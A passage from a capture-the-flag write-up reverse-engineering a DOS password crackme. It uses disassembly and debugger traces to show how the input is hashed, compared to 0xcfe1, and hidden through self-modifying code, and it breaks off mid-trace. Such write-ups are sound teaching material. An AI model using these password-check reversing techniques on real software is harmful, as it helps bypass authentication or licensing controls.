You can do it with `nc ctf.kaf.sh 6000`
No KIPODIM today :|
```
We obviously want to get to the "Congrats!" string. Radare2 can't identify the strings or their references correctly (maybe because DOS defines dollar-terminated strings instead of null-terminated strings) but we'll see them used later on.
Anyway, let's start with the first block, which starts at `0x50`.
```assembly
0000:0050 b80c00 mov ax, 0xc
0000:0053 8ed8 mov ds, ax
0000:0055 e8c9ff call fcn.00000021
```
This section sets the data segment to `0xC` and calls `fcn.00000021`:
```assembly
[0000:0050]> pdf @ fcn.00000021
;-- ip:
/ (fcn) fcn.00000021 8
| fcn.00000021 ();
| bp: 0 (vars 0, args 0)
| sp: 0 (vars 0, args 0)
| rg: 0 (vars 0, args 0)
| 0000:0021 ba0000 mov dx, 0
| 0000:0024 b409 mov ah, 9
| 0000:0026 cd21 int 0x21
\ 0000:0028 c3 ret
```
The function simply calls [int 21,9](http://stanislavs.org/helppc/int_21-9.html) to print the `$` terminated string at `DS:DX`. Let's check it out using the DOSBox-X Debugger. First, we set a breakpoint to catch `int 21,9` using the `bpint 21 9` command, and press `F5` to resume execution. Then, we run the program in the console and wait for the breakpoint to hit.
```assembly
────Code Overview───────────────────────────────────────────────────────────────
0339:00000021 BA0000 mov dx,0000
0339:00000024 B409 mov ah,09
0339:00000026 CD21 int 21
0339:00000028 C3 ret
```
We can now inspect the memory at `DS:DX` by typing `D DS:DX`:
```
────Data view (segmented)───────────────────────────────────────────────────────
0345:00000000 4D 53 2D 44 4F 53 20 4B 49 50 4F 44 20 53 48 4F MS-DOS KIPOD SHO
0345:00000010 50 0A 0D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D P..-------------
0345:00000020 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D ----------------
0345:00000030 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D ----------------
0345:00000040 2D 2D 2D 0A 0D 0A 0D 57 61 6E 6E 61 20 62 75 79 ---....Wanna buy
0345:00000050 20 73 6F 6D 65 20 4B 49 50 4F 44 49 4D 3F 0A 0D some KIPODIM?..
0345:00000060 46 69 72 73 74 2C 20 49 20 68 61 76 65 20 74 6F First, I have to
0345:00000070 20 6D 61 6B 65 20 73 75 72 65 20 79 6F 75 27 72 make sure you'r
0345:00000080 65 20 61 6C 6C 6F 77 65 64 20 74 6F 2E 0A 0D 0A e allowed to....
0345:00000090 0D 50 6C 65 61 73 65 20 6C 6F 67 20 69 6E 20 77 .Please log in w
0345:000000A0 69 74 68 20 79 6F 75 20 70 61 73 73 77 6F 72 64 ith you password
0345:000000B0 3A 0A 0D 24 09 00 00 00 00 00 00 00 00 00 00 00 :..$............
```
This prints the introduction string we saw earlier. Let's continue:
```assembly
0000:0058 2ec7061100d1. mov word cs:[0x11], 0x27d1
0000:005f 2ec7061300d1. mov word cs:[0x13], 0x27d1
0000:0066 e8c0ff call fcn.00000029
```
After storing some values, the program modifies some values in the code segment (we'll get to that later) and calls `fcn.00000029`:
```assembly
[0000:0050]> pdf @ fcn.00000029
/ (fcn) fcn.00000029 15
| fcn.00000029 ();
| 0000:0029 2ec706150001. mov word cs:[0x15], 0x701
| 0000:0030 bab400 mov dx, 0xb4
| 0000:0033 b40a mov ah, 0xa
| 0000:0035 cd21 int 0x21
\ 0000:0037 c3 ret
```
This function continues modifying the code segment (more on that later) and calls [int 21,a](http://stanislavs.org/helppc/int_21-a.html) to read input from the user. `DS:DX` contains the pointer to the input buffer of the format:
```
| max | count | BUFFER (N bytes)
| | `------ input buffer
| `------------ number of characters returned (byte)
`-------------- maximum number of characters to read (byte)
```
Let's see what the debugger shows at this point by running to `0000:0035` and calling `D DS:DX`:
```
0345:000000B4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 0D ................
```
We can see that `max` is set to 9. After stepping over the interrupt and entering a string (`abcdefgh`), the buffer now shows:
```
0345:000000B4 09 08 61 62 63 64 65 66 67 68 0D 00 00 00 0A 0D ..abcdefgh......
```
We can see that the `count` is set to `8`, and immediately after it we found our input.
Next comes:
```assembly
0000:0069 a0bd00 mov al, byte [0xbd]
0000:006c 84c0 test al, al
0000:006e 7407 je 0x77
```
`DS:BD` points to the last character of the buffer. If it's set to zero, we jump to `0x77`:
```assembly
0000:0077 e8beff call fcn.00000038
0000:007a bbb500 mov bx, 0xb5
```
This just calls `fcn.00000038`:
```assembly
[0000:0050]> pdf @ fcn.00000038
/ (fcn) fcn.00000038 24
| fcn.00000038 ();
| 0000:0038 58 pop ax
| 0000:0039 bb7a00 mov bx, 0x7a
| 0000:003c 3bc3 cmp ax, bx
| ,=< 0000:003e 7460 je 0xa0
| | 0000:0040 bba000 mov bx, 0xa0
| | 0000:0043 3bc3 cmp ax, bx
| ,==< 0000:0045 7463 je 0xaa
| || 0000:0047 bbaa00 mov bx, 0xaa
| || 0000:004a 3bc3 cmp ax, bx
| ,===< 0000:004c 7463 je 0xb1
\ ||| 0000:004e ffe0 jmp ax
```
Notice a few things about this function:
* It starts by popping the return address to `ax`
* It then checks the return address against a predefined list and jumps outside of the function in case there's a match (each time to a different location)
* If no match is found, it returns by jumping directly to the return address stored in `ax`
In our current flow, the return address is `0x7a` so we'll jump to `0xa0`.
```assembly
0000:00a0 ba2001 mov dx, 0x120
0000:00a3 b409 mov ah, 9
0000:00a5 cd21 int 0x21
```
This prints the following string:
```
0345:00000120 0A 0D 4E 6F 20 4B 49 50 4F 44 49 4D 20 74 6F 64 ..No KIPODIM tod
0345:00000130 61 79 20 3A 7C 0A 0D 24 00 00 00 00 00 00 00 00 ay :|..$........
```
We don't want that, so we want the last character of the buffer not to be zero. Let's continue:
```assembly
0000:0070 803eb50008 cmp byte [0xb5], 8
0000:0075 7403 je 0x7a
```
Now we're comparing `DS:B5` (which is the length of the user input) to 8. If it's equal, we jump to `0x7a`:
```assembly
0000:007a bbb500 mov bx, 0xb5
0000:007d 8a0f mov cl, byte [bx]
0000:007f b500 mov ch, 0
0000:0081 51 push cx
0000:0082 43 inc bx
0000:0083 53 push bx
0000:0084 bbc000 mov bx, 0xc0
0000:0087 53 push bx
0000:0088 2ec70609008a. mov word cs:[9], 0x78a
0000:008f e86eff call section.seg_000
0000:0092 83c406 add sp, 6
0000:0095 813ec000e1cf cmp word [0xc0], 0xcfe1
0000:009b 7503 jne 0xa0
```
This block calls `section.seg_000`, passing it the following parameters:
1. The length of the user input (`DS:B5`)
2. The address of the user input (`0xB6`)
3. The address right after the user input buffer (`0xC0`)
Here's the implementation of `section.seg_000`:
```assembly
[0000:0000]> pdf @ section.seg_000
;-- section.seg_000:
;-- cx:
;-- si:
;-- di:
;-- dx:
/ (fcn) fcn.00000000 32
| fcn.00000000 (int32_t arg_4h, int32_t arg_6h, int32_t arg_8h);
| ; arg int32_t arg_4h @ bp+0x4
| ; arg int32_t arg_6h @ bp+0x6
| ; arg int32_t arg_8h @ bp+0x8
| 0000:0000 55 push bp
| 0000:0001 8bec mov bp, sp
| 0000:0003 8b5e06 mov bx, word [arg_6h]
| 0000:0006 8b4e08 mov cx, word [arg_8h]
| .-> 0000:0009 8a0f mov cl, byte [bx]
| : 0000:000b b400 mov ah, 0
| : 0000:000d 53 push bx
| : 0000:000e 8b5e04 mov bx, word [arg_4h]
| : 0000:0011 ~ d12f shr word [bx], 1
| : 0000:0013 d12f shr word [bx], 1
| : 0000:0015 2907 sub word [bx], ax
| : 0000:0017 5b pop bx
| : 0000:0018 43 inc bx
| : 0000:0019 49 dec cx
| : 0000:001a 83f900 cmp cx, 0
| `=< 0000:001d 75ea jne 9
| 0000:001f 5d pop bp
\ 0000:0020 c3 ret
```
This function performs some kind of hash on the input, by running `input_length` (a.k.a. `arg_8h`) times, reading the character at `user_input + i` (a.k.a. `arg_6h + bx`) and updating the hash at `location_after_user_input` (a.k.a `arg_4h`).
When the function returns, `DS:C0` contains the hash. Then:
```assembly
0000:0095 813ec000e1cf cmp word [0xc0], 0xcfe1
0000:009b 7503 jne 0xa0
```
The hash is compared to `0xcfe1`, and if they aren't equal, we jump to `0xa0`, which as we say earlier prints `No KIPODIM today`. We want the hash to be equal in order to continue execution:
```assembly
0000:009d e898ff call fcn.00000038
0000:00a0 ba2001 mov dx, 0x120
```
We call `fcn.00000038` again, this time with the return value of `0xa0`, which takes us to `0xaa`:
```assembly
0000:00aa bac200 mov dx, 0xc2
0000:00ad b409 mov ah, 9
0000:00af cd21 int 0x21
```
This prints `DS:C2`, which is:
```
0345:000000C2 0A 0D 0A 0D 43 6F 6E 67 72 61 74 73 21 20 59 6F ....Congrats! Yo
0345:000000D2 75 20 61 72 65 20 61 6C 6C 6F 77 65 64 20 74 6F u are allowed to
0345:000000E2 20 62 75 79 20 73 6F 6D 65 20 4B 49 50 4F 44 49 buy some KIPODI
0345:000000F2 4D 21 0A 0D 59 6F 75 20 63 61 6E 20 64 6F 20 69 M!..You can do i
0345:00000102 74 20 77 69 74 68 20 60 6E 63 20 63 74 66 2E 6B t with `nc ctf.k
0345:00000112 61 66 2E 73 68 20 36 30 30 30 60 0A 0D 24 0A 0D af.sh 6000`..$..
```
To conclude, we need an 8-character string who's hash equals to 0xcfe1. We have the algorithm used to perform the hash, but if we use the debugger to extract runtime logs (by setting a breakpoint at the entry to the function (`bp cs:18`) and requesting the debugger to log the next `n` instructions (e.g. `log 110`)) we see something strange:
```assembly
0339:00000000 push bp EAX:00000A68 EBX:000000C0 ECX:00000008 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:0000091C ESP:000000F8 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000001 mov bp,sp EAX:00000A68 EBX:000000C0 ECX:00000008 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:0000091C ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000003 mov bx,[bp+06] ss:[00FC]=00B6 EAX:00000A68 EBX:000000C0 ECX:00000008 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000006 mov cx,[bp+08] ss:[00FE]=0008 EAX:00000A68 EBX:000000B6 ECX:00000008 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000009 mov al,[bx] ds:[00B6]=6261 EAX:00000A68 EBX:000000B6 ECX:00000008 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000B mov ah,00 EAX:00000A61 EBX:000000B6 ECX:00000008 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000D push bx EAX:00000061 EBX:000000B6 ECX:00000008 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000E mov bx,[bp+04] ss:[00FA]=00C0 EAX:00000061 EBX:000000B6 ECX:00000008 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000011 shl word [bx],1 ds:[00C0]=0000 EAX:00000061 EBX:000000C0 ECX:00000008 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000013 shl word [bx],1 ds:[00C0]=0000 EAX:00000061 EBX:000000C0 ECX:00000008 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:1 SF:0 OF:0 AF:1 PF:1 IF:1
0339:00000015 add [bx],ax ds:[00C0]=0000 EAX:00000061 EBX:000000C0 ECX:00000008 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:1 SF:0 OF:0 AF:1 PF:1 IF:1
0339:00000017 pop bx EAX:00000061 EBX:000000C0 ECX:00000008 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000018 inc bx EAX:00000061 EBX:000000B6 ECX:00000008 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000019 dec cx EAX:00000061 EBX:000000B7 ECX:00000008 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000001A cmp cx,0000 EAX:00000061 EBX:000000B7 ECX:00000007 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000001D jne 00000009 ($-16) (up) EAX:00000061 EBX:000000B7 ECX:00000007 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000009 mov al,[bx] ds:[00B7]=6362 EAX:00000061 EBX:000000B7 ECX:00000007 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000B mov ah,00 EAX:00000062 EBX:000000B7 ECX:00000007 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000D push bx EAX:00000062 EBX:000000B7 ECX:00000007 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000E mov bx,[bp+04] ss:[00FA]=00C0 EAX:00000062 EBX:000000B7 ECX:00000007 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000011 shl word [bx],1 ds:[00C0]=0061 EAX:00000062 EBX:000000C0 ECX:00000007 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000013 shl word [bx],1 ds:[00C0]=00C2 EAX:00000062 EBX:000000C0 ECX:00000007 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:0 IF:1
0339:00000015 add [bx],ax ds:[00C0]=0184 EAX:00000062 EBX:000000C0 ECX:00000007 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:0 IF:1
0339:00000017 pop bx EAX:00000062 EBX:000000C0 ECX:00000007 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000018 inc bx EAX:00000062 EBX:000000B7 ECX:00000007 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000019 dec cx EAX:00000062 EBX:000000B8 ECX:00000007 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000001A cmp cx,0000 EAX:00000062 EBX:000000B8 ECX:00000006 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000001D jne 00000009 ($-16) (up) EAX:00000062 EBX:000000B8 ECX:00000006 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000009 mov al,[bx] ds:[00B8]=6463 EAX:00000062 EBX:000000B8 ECX:00000006 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000000B mov ah,00 EAX:00000063 EBX:000000B8 ECX:00000006 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000000D push bx EAX:00000063 EBX:000000B8 ECX:00000006 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000000E mov bx,[bp+04] ss:[00FA]=00C0 EAX:00000063 EBX:000000B8 ECX:00000006 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000011 shl word [bx],1 ds:[00C0]=01E6 EAX:00000063 EBX:000000C0 ECX:00000006 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000013 shl word [bx],1 ds:[00C0]=03CC EAX:00000063 EBX:000000C0 ECX:00000006 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:1 IF:1
0339:00000015 add [bx],ax ds:[00C0]=0798 EAX:00000063 EBX:000000C0 ECX:00000006 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:1 IF:1
0339:00000017 pop bx EAX:00000063 EBX:000000C0 ECX:00000006 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000018 inc bx EAX:00000063 EBX:000000B8 ECX:00000006 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000019 dec cx EAX:00000063 EBX:000000B9 ECX:00000006 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000001A cmp cx,0000 EAX:00000063 EBX:000000B9 ECX:00000005 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000001D jne 00000009 ($-16) (up) EAX:00000063 EBX:000000B9 ECX:00000005 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000009 mov al,[bx] ds:[00B9]=6564 EAX:00000063 EBX:000000B9 ECX:00000005 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000000B mov ah,00 EAX:00000064 EBX:000000B9 ECX:00000005 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000000D push bx EAX:00000064 EBX:000000B9 ECX:00000005 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000000E mov bx,[bp+04] ss:[00FA]=00C0 EAX:00000064 EBX:000000B9 ECX:00000005 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000011 shl word [bx],1 ds:[00C0]=07FB EAX:00000064 EBX:000000C0 ECX:00000005 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000013 shl word [bx],1 ds:[00C0]=0FF6 EAX:00000064 EBX:000000C0 ECX:00000005 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:1 IF:1
0339:00000015 add [bx],ax ds:[00C0]=1FEC EAX:00000064 EBX:000000C0 ECX:00000005 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:1 IF:1
0339:00000017 pop bx EAX:00000064 EBX:000000C0 ECX:00000005 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:0 IF:1
0339:00000018 inc bx EAX:00000064 EBX:000000B9 ECX:00000005 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:0 IF:1
0339:00000019 dec cx EAX:00000064 EBX:000000BA ECX:00000005 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000001A cmp cx,0000 EAX:00000064 EBX:000000BA ECX:00000004 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000001D jne 00000009 ($-16) (up) EAX:00000064 EBX:000000BA ECX:00000004 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000009 mov al,[bx] ds:[00BA]=6665 EAX:00000064 EBX:000000BA ECX:00000004 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000B mov ah,00 EAX:00000065 EBX:000000BA ECX:00000004 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000D push bx EAX:00000065 EBX:000000BA ECX:00000004 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000E mov bx,[bp+04] ss:[00FA]=00C0 EAX:00000065 EBX:000000BA ECX:00000004 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000011 shl word [bx],1 ds:[00C0]=2050 EAX:00000065 EBX:000000C0 ECX:00000004 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000013 shl word [bx],1 ds:[00C0]=40A0 EAX:00000065 EBX:000000C0 ECX:00000004 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:0 IF:1
0339:00000015 add [bx],ax ds:[00C0]=8140 EAX:00000065 EBX:000000C0 ECX:00000004 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:1 OF:1 AF:1 PF:0 IF:1
0339:00000017 pop bx EAX:00000065 EBX:000000C0 ECX:00000004 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:1 OF:0 AF:0 PF:1 IF:1
0339:00000018 inc bx EAX:00000065 EBX:000000BA ECX:00000004 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:1 OF:0 AF:0 PF:1 IF:1
0339:00000019 dec cx EAX:00000065 EBX:000000BB ECX:00000004 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000001A cmp cx,0000 EAX:00000065 EBX:000000BB ECX:00000003 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000001D jne 00000009 ($-16) (up) EAX:00000065 EBX:000000BB ECX:00000003 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000009 mov al,[bx] ds:[00BB]=6766 EAX:00000065 EBX:000000BB ECX:00000003 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000000B mov ah,00 EAX:00000066 EBX:000000BB ECX:00000003 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
